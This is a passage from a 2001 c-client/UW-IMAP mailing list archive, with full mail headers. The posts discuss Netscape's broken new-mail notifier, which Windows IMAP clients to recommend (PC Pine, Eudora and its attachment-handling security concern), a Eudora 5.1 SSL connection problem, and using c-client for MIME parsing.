ones Outlook has in that it decodes attachments in incoming mail into a directory on your system without requiring your permission. It also (I understand) uses Internet Explorer to view HTML messages, whilst pasting a note of the file location of the attachments onto the end of the e-mail. A cleverly written HTML page could use 'Active Scripting' to find this file and execute it as a script in the 'Local Computer' security context, thus being able to do an awful lot of damage. I am not however aware of this actually having happened 'in the wild', and thinking about it this may not apply to email retrieved through IMAP as separating out the attachments this way makes even less sense with an IMAP server than it does with POP3... but certainly look into the security implications of Eudora. ----- Original Message ----- From: Kevin Dwyer To: Sean Witham Cc: Sent: Thursday, May 24, 2001 1:50 PM Subject: Re: Netscape problems with uw imapd > Sean, have you tried Eudora? > > While I personally detest Windows, I had to use it for a while in my > previous position. We had UW-IMAP running on a solaris box with Windows > clients. The email program of choice ended up being Eudora. It seemed to > support the IMAP extensions well (or we didn't do anything powerful). You > may want to give it a whirl. I believe Eudora has a little systray icon > of a mailbox or something and lets you know when there is new mail. I > believe it worked. From pinedev@shivax2.cac.washington.edu Thu May 24 10:51:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 10:51:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OHp9D17405 for ; Thu, 24 May 2001 10:51:09 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 10:51:08 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OHp5u29156; Thu, 24 May 2001 10:51:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OHp0E23958; Thu, 24 May 2001 10:51:00 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OHmk020962 for ; Thu, 24 May 2001 10:48:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (phillip@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OHmkF02715 for ; Thu, 24 May 2001 10:48:46 -0700 Message-Id: Date: Thu, 24 May 2001 10:31:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sean Witham Cc: c-client@u.washington.edu Subject: Re: Netscape problems with uw imapd In-Reply-To: <3B0CD02B.7795EF6@asa.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 May 2001 10:11:07 +0100, Sean Witham wrote: > > Netscape's notify tool is well-known to be broken for quite some time. > The strange thing is it was workling (most of the time) with the old > uw-imapd NSNOTIFY does not properly handle the IMAP protocol. Consequently, when a new version of imapd used a facility that it did not use before, NSNOTIFY broke. Other IMAP clients have no problem, even if they do not use this facility (which, by the way, reduces startup overhead by 50%). This problem has been known about for over a year. NSNOTIFY has not been fixed. You can draw your own conclusion as to its support. I have. > That asside is there any reason why I wouldn't be able to get a third > party "biff" like tool to work ? Can anyone recomend one that will sit > on the win32 tool bar ? biff type programs are *evil* in a client/server environment. Most of these work by polling; that is, they establish a new session to the server every few seconds to re-open the mailbox to get its status. The only way to make such programs be reasonable is to tie them to the MDA as opposed to polling. With good-quality mail-reading programs, you don't need such a program. For example, PC Pine has a feature that will put a Pine tree icon in the systray, and will change its color from green to red when there is new mail. In IMAP it is actually *much* less overhead on the server to keep the mail reading program running than to use a polling program such as NSNOTIFY. This is contrary to what many people expect, but it's true. > The next question which this list must have been asked lots of time is > for recomendation for an IMAP/POP aware Graphical email tool for > Windows. PC Pine is the best. It handles attachments securely, and handles even gigantic mailboxes and messages with aplomb. Most of the other programs spend too much time drawing pretty pictures than they do on handling mail well. From pinedev@shivax2.cac.washington.edu Thu May 24 12:24:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 12:24:06 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OJO5D23486 for ; Thu, 24 May 2001 12:24:05 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 12:24:04 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OJO1u00455; Thu, 24 May 2001 12:24:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OJNMX33742; Thu, 24 May 2001 12:23:22 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OJIK033824 for ; Thu, 24 May 2001 12:18:21 -0700 Received: from klepto.isrd.lan (root@klepto.isrd.net [206.205.246.48]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OJIJK23903 for ; Thu, 24 May 2001 12:18:20 -0700 Received: from localhost (kevin@localhost) by klepto.isrd.lan (8.10.2/8.10.2) with ESMTP id f4OJNCi01707 for ; Thu, 24 May 2001 15:23:13 -0400 Message-Id: Date: Thu, 24 May 2001 15:23:12 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: Subject: Re: Netscape problems with uw imapd In-Reply-To: <02c801c0e474$95b6ac50$032aa8c0@int.acris.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.lan: kevin owned process doing -bs X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Julian, very true. I guess I wasn't approaching this subject from the security perspective. However, I could not think of too many worthwhile email programs for windows that use IMAP. With the exception of PC-Pine, of course, but it seems as though he had ruled that out as an option, in favor of the pretty GUIs. On the subject of the security of Eudora, I was under the impression that one could in fact secure it. I could be very wrong, but I think there are some defaults you can change to fix it. In fact most clients that interpret HTML and javascript have these issues out of the box. One of my favorites is the javascript email bug. But I believe at this point we're escaping the scope of this list. Anyways, I'd take Mark Crispin's advice and run PC-Pine if I had to use windows and had a choice in mail client. /* Kevin Dwyer */ /* Network Security Engineer -=- Intermedia Communications */ On Thu, 24 May 2001, Julian Hall grunted something like: [jules] Personally, I'd avoid Eudora. It has a nasty security problem that is [jules] almost as bad as any of the ones Outlook has in that it decodes attachments [jules] in incoming mail into a directory on your system without requiring your [jules] permission. It also (I understand) uses Internet Explorer to view HTML [jules] messages, whilst pasting a note of the file location of the attachments onto [jules] the end of the e-mail. A cleverly written HTML page could use 'Active [jules] Scripting' to find this file and execute it as a script in the 'Local [jules] Computer' security context, thus being able to do an awful lot of damage. [jules] [jules] I am not however aware of this actually having happened 'in the wild', and [jules] thinking about it this may not apply to email retrieved through IMAP as [jules] separating out the attachments this way makes even less sense with an IMAP [jules] server than it does with POP3... but certainly look into the security [jules] implications of Eudora. From pinedev@shivax2.cac.washington.edu Thu May 24 12:49:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 12:49:41 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OJneD03259 for ; Thu, 24 May 2001 12:49:40 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 12:49:36 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OJnaC19542; Thu, 24 May 2001 12:49:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OJk7p09748; Thu, 24 May 2001 12:46:07 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OJYT095672 for ; Thu, 24 May 2001 12:34:29 -0700 Received: from astro.psu.edu (lonestar.astro.psu.edu [128.118.147.184]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OJYSK29086 for ; Thu, 24 May 2001 12:34:28 -0700 Received: from ripple.astro.psu.edu (ripple.astro.psu.edu [128.118.147.186]) by astro.psu.edu (8.11.1/8.11.0) with ESMTP id f4OJYSC05101 for ; Thu, 24 May 2001 15:34:28 -0400 (EDT) Received: from astro.psu.edu (nostromo.astro.psu.edu [128.118.147.188]) by ripple.astro.psu.edu (8.9.3+Sun/8.8.8) with ESMTP id PAA08065 for ; Thu, 24 May 2001 15:34:22 -0400 (EDT) Message-Id: <3B0D623E.2E25A9B0@astro.psu.edu> Date: Thu, 24 May 2001 15:34:22 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Soccio To: c-client@u.washington.edu Subject: Eudora 5.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: soccio@lonestar.astro.psu.edu X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am running uw-imap 2001 with openssl and a self-signed cert. I am trying to get Eudora 5.1 to talk to the server using the Alternate Port method with no luck. I get the error that the IMAP command fails because the connection to the server has been broken on the client end. I see in my mail logs that there is an SSL initiation from the host, but the usual authentication information does not follow. I have regenerated my cert a couple times to see if the Common Name entry made a difference, but it does not. Eudora's documentation does tell me which Alternate Port they are using, so I have to assume 993, and it also does not give any information about how it validates certs, so I was wondering if anyone has gotten Eudora to work on an IMAP/SSL setup. Thanks -- Matt Soccio Manager, Network and Information Systems Penn State University Dept. of Astronomy and Astrophysics 445 Davey Lab 814-863-4465 soccio@astro.psu.edu www.astro.psu.edu ("\''/").___..--'''"-._ `9_ 9 ) `-. ( ).`-.__.`) (_Y_.)' ._ ) `._ `. ``-..-' _..`--'_..-_/ /--'_.' .' ((il).-'' ((i).' ((!.-' We are........Penn State -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 24 13:17:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 13:17:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OKH4D13850 for ; Thu, 24 May 2001 13:17:04 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 13:17:03 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OKH3C20446; Thu, 24 May 2001 13:17:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OKEaH18396; Thu, 24 May 2001 13:14:36 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OKCH043766 for ; Thu, 24 May 2001 13:12:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pd@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OKCHs14061 for ; Thu, 24 May 2001 13:12:17 -0700 Message-Id: Date: Thu, 24 May 2001 13:10:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Soccio Cc: c-client@u.washington.edu Subject: re: Eudora 5.1 In-Reply-To: <3B0D623E.2E25A9B0@astro.psu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 May 2001 15:34:22 -0400, Matt Soccio wrote: > I am running uw-imap 2001 with openssl and a self-signed cert. I am > trying to get Eudora 5.1 to talk to the server using the Alternate Port > method with no luck. I get the error that the IMAP command fails > because the connection to the server has been broken on the client end. > I see in my mail logs that there is an SSL initiation from the host, but > the usual authentication information does not follow. What is the IP address of the server system? Is it accessible from the open Internet? If so, I could do a few diagnostic tests and see if the server is set up. If you want to do so yourself, see if you can access the server from the mtest program, or at least from openssl's s_client. From pinedev@shivax2.cac.washington.edu Thu May 24 13:40:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 13:40:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OKe8D21066 for ; Thu, 24 May 2001 13:40:08 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 13:40:07 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OKe7u02938; Thu, 24 May 2001 13:40:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OKaVH10760; Thu, 24 May 2001 13:36:31 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OKYP0120718 for ; Thu, 24 May 2001 13:34:25 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OKYPs20800 for ; Thu, 24 May 2001 13:34:25 -0700 Received: from server11.icaen.uiowa.edu (root@server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id PAA12138 sent by ; Thu, 24 May 2001 15:34:17 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.9.3/smtp-service-1.6) with ESMTP id PAA29912; sent by ; Thu, 24 May 2001 15:34:17 -0500 (CDT) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id PAA26370; Thu, 24 May 2001 15:34:16 -0500 (CDT) Message-Id: Date: Thu, 24 May 2001 15:34:16 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Mark Crispin Cc: Matt Soccio , c-client@u.washington.edu Subject: re: Eudora 5.1 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 May 2001, Mark Crispin wrote: > On Thu, 24 May 2001 15:34:22 -0400, Matt Soccio wrote: > > I am running uw-imap 2001 with openssl and a self-signed cert. I am > > trying to get Eudora 5.1 to talk to the server using the Alternate Port > > method with no luck. I get the error that the IMAP command fails > > because the connection to the server has been broken on the client end. > > I see in my mail logs that there is an SSL initiation from the host, but > > the usual authentication information does not follow. > > What is the IP address of the server system? Is it accessible from the open > Internet? If so, I could do a few diagnostic tests and see if the server is > set up. > We're having the exact same issue with Eudora 5.1 and our UW-IMAP server. Other SSL-ized clients such as Netscape and PC-Pine work just fine, so I don't think that it's a server problem. (Yes, I've verified that the clients are speaking SSL to port 993). -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Thu May 24 22:22:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 22:22:04 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4P5M3D01640 for ; Thu, 24 May 2001 22:22:03 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 22:22:02 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5M1u17114; Thu, 24 May 2001 22:22:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4P5IAH04568; Thu, 24 May 2001 22:18:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5CD0114808 for ; Thu, 24 May 2001 22:12:13 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5CBF13925 for ; Thu, 24 May 2001 22:12:12 -0700 Received: from mobor (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f4P5GiU03115 for ; Fri, 25 May 2001 10:46:44 +0530 Message-Id: <006f01c0e4da$3ca00f60$2e05a8c0@intranet.pspl.co.in> Date: Fri, 25 May 2001 10:49:11 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sushmita Roy" To: Subject: Doubts regarding the c-client Library MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_006C_01C0E508.552FF800" X-Priority: 1 X-MSMail-Priority: High X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_006C_01C0E508.552FF800 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Mark, I had a couple of doubts regarding the C-client Library : 1. I have an application which reads HTTP POST data which may be in mime format (like multipart form data, or data encoded in Base64 encoding). Since this application is reading from the socket I have a char buffer which contains the data. Can the C-Client library parse this mime data ? 2. Is the mime related parsing for HTTP different as compared to that for email ? 3. Does the C-Client Library expect that email messages have to be read using the C-Library functions ? Can I have a seperate application that Pops email but uses the C-Client Library for mime related parsing for the email ? I am basically looking for Mime Parsing functionality from the C-Client Library. Thanks and Regards Sushmita ------=_NextPart_000_006C_01C0E508.552FF800 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi Mark,

     I had a couple of = doubts=20 regarding the C-client
    Library :

    1. I have an application = which reads=20 HTTP POST data
    which may be in mime format (like multipart = form
    data, or=20 data encoded in Base64 encoding).
    Since this application is reading = from the=20 socket
    I have a char buffer which contains the data. Can
    the = C-Client=20 library parse this mime data ?

    2. Is the mime related parsing for = HTTP=20 different
    as compared to that for email ?

    3. Does the C-Client = Library=20 expect that email
    messages have to be read using the = C-Library
    functions ?=20 Can I have a seperate application that
    Pops email but uses the = C-Client=20 Library for mime
    related parsing for the email ?

    I am = basically=20 looking for Mime Parsing functionality
    from the C-Client=20 Library.

    Thanks and Regards
    Sushmita

     
    ------=_NextPart_000_006C_01C0E508.552FF800-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 24 22:51:43 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 22:51:43 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4P5pgD28608 for ; Thu, 24 May 2001 22:51:42 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 22:51:41 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5pfC03002; Thu, 24 May 2001 22:51:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4P5lvH35030; Thu, 24 May 2001 22:47:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5k2028666 for ; Thu, 24 May 2001 22:46:03 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5k2F19249 for ; Thu, 24 May 2001 22:46:02 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5k2112527; Thu, 24 May 2001 22:46:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (azuma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4P5k2i20477; Thu, 24 May 2001 22:46:02 -0700 Message-Id: Date: Thu, 24 May 2001 22:43:42 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sushmita Roy Cc: c-client@u.washington.edu Subject: re: Doubts regarding the c-client Library In-Reply-To: <006f01c0e4da$3ca00f60$2e05a8c0@intranet.pspl.co.in> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 25 May 2001 10:49:11 +0530, Sushmita Roy wrote: > I have a char buffer which contains the data. Can > the C-Client library parse this mime data ? c-client can parse data from a char buffer. Whether or not it can parse HTTP POST data is something that I can not answer. > 2. Is the mime related parsing for HTTP different > as compared to that for email ? I do not know. > 3. Does the C-Client Library expect that email > messages have to be read using the C-Library > functions ? It doesn't expect it, but you have much harder work if you don't. > Can I have a seperate application that > Pops email but uses the C-Client Library for mime > related parsing for the email ? Yes, you can do that, but it is much harder to do it that way. From pinedev@shivax2.cac.washington.edu Fri May 25 10:31:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 25 May 2001 10:31:42 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4PHVeD06509 for ; Fri, 25 May 2001 10:31:41 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri May 25 10:31:40 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4PHVdC19317; Fri, 25 May 2001 10:31:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4PHS4p23356; Fri, 25 May 2001 10:28:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4PHQS0120282 for ; Fri, 25 May 2001 10:26:28 -0700 Received: from asa.co.uk (mailgate.asa.co.uk [193.119.169.66]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4PHQQK15234 for ; Fri, 25 May 2001 10:26:27 -0700 Message-Id: <3B0E9445.4826426F@asa.co.uk> Date: Fri, 25 May 2001 18:20:05 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sean Witham To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Netscape problems with uw imapd References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en-GB, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > > biff type programs are *evil* in a client/server environment. Most of these > work by polling; that is, they establish a new session to the server every few > seconds to re-open the mailbox to get its status. The only way to make such > programs be reasonable is to tie them to the MDA as opposed to polling. > I do not know the IMAP protocol well enough to know its limitations but ... The fact is the PC has no way of knowing when an MDA has delivered new mail accept via the IMAP protocol as this is the only "email" protocol that the PC has access to the mail server with. Does IMAP support a push notification of new mail to the client connected ? Does it allow for a client to ask for Read Only connection so it doesn't force another client off (only needed if you want a notify ony tool) ? If it allows either of these does UW-IMAP support them and is there an IMAP client that makes uses of either of them so that it provides a visual indication of new email from teh windows task bar ? > With good-quality mail-reading programs, you don't need such a program. For > example, PC Pine has a feature that will put a Pine tree icon in the systray, > and will change its color from green to red when there is new mail. > People like the GUI look and feel , they like to be able to read html email etc. I like pine myself but I still use netscape when I have been sent inline pictures etc. > In IMAP it is actually *much* less overhead on the server to keep the mail > reading program running than to use a polling program such as NSNOTIFY. This > is contrary to what many people expect, but it's true. > I'm happy to use a mail client this way but the windows users need one they like the look of and the features. PC Pine doesn't offer all that they want. > > The next question which this list must have been asked lots of time is > > for recomendation for an IMAP/POP aware Graphical email tool for > > Windows. > > PC Pine is the best. It handles attachments securely, and handles even > gigantic mailboxes and messages with aplomb. Most of the other programs spend > too much time drawing pretty pictures than they do on handling mail well. If PC Pien handled drawing the pretty pictures as well then my users would be happy, so what is the second best then ? --Sean From pinedev@shivax2.cac.washington.edu Fri May 25 11:25:40 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 25 May 2001 11:25:39 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4PIPbD04907 for ; Fri, 25 May 2001 11:25:38 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri May 25 11:25:36 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4PIPYC21254; Fri, 25 May 2001 11:25:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4PIPUp07952; Fri, 25 May 2001 11:25:30 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4PIHO048318 for ; Fri, 25 May 2001 11:17:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (depace@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4PIHMs01156 for ; Fri, 25 May 2001 11:17:22 -0700 Message-Id: Date: Fri, 25 May 2001 10:54:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sean Witham Cc: c-client@u.washington.edu Subject: Re: Netscape problems with uw imapd In-Reply-To: <3B0E9445.4826426F@asa.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 25 May 2001 18:20:05 +0100, Sean Witham wrote: > I do not know the IMAP protocol well enough to know its limitations I'd say "features" instead of "limitations", but... > Does > IMAP support a push notification of new mail to the client connected ? 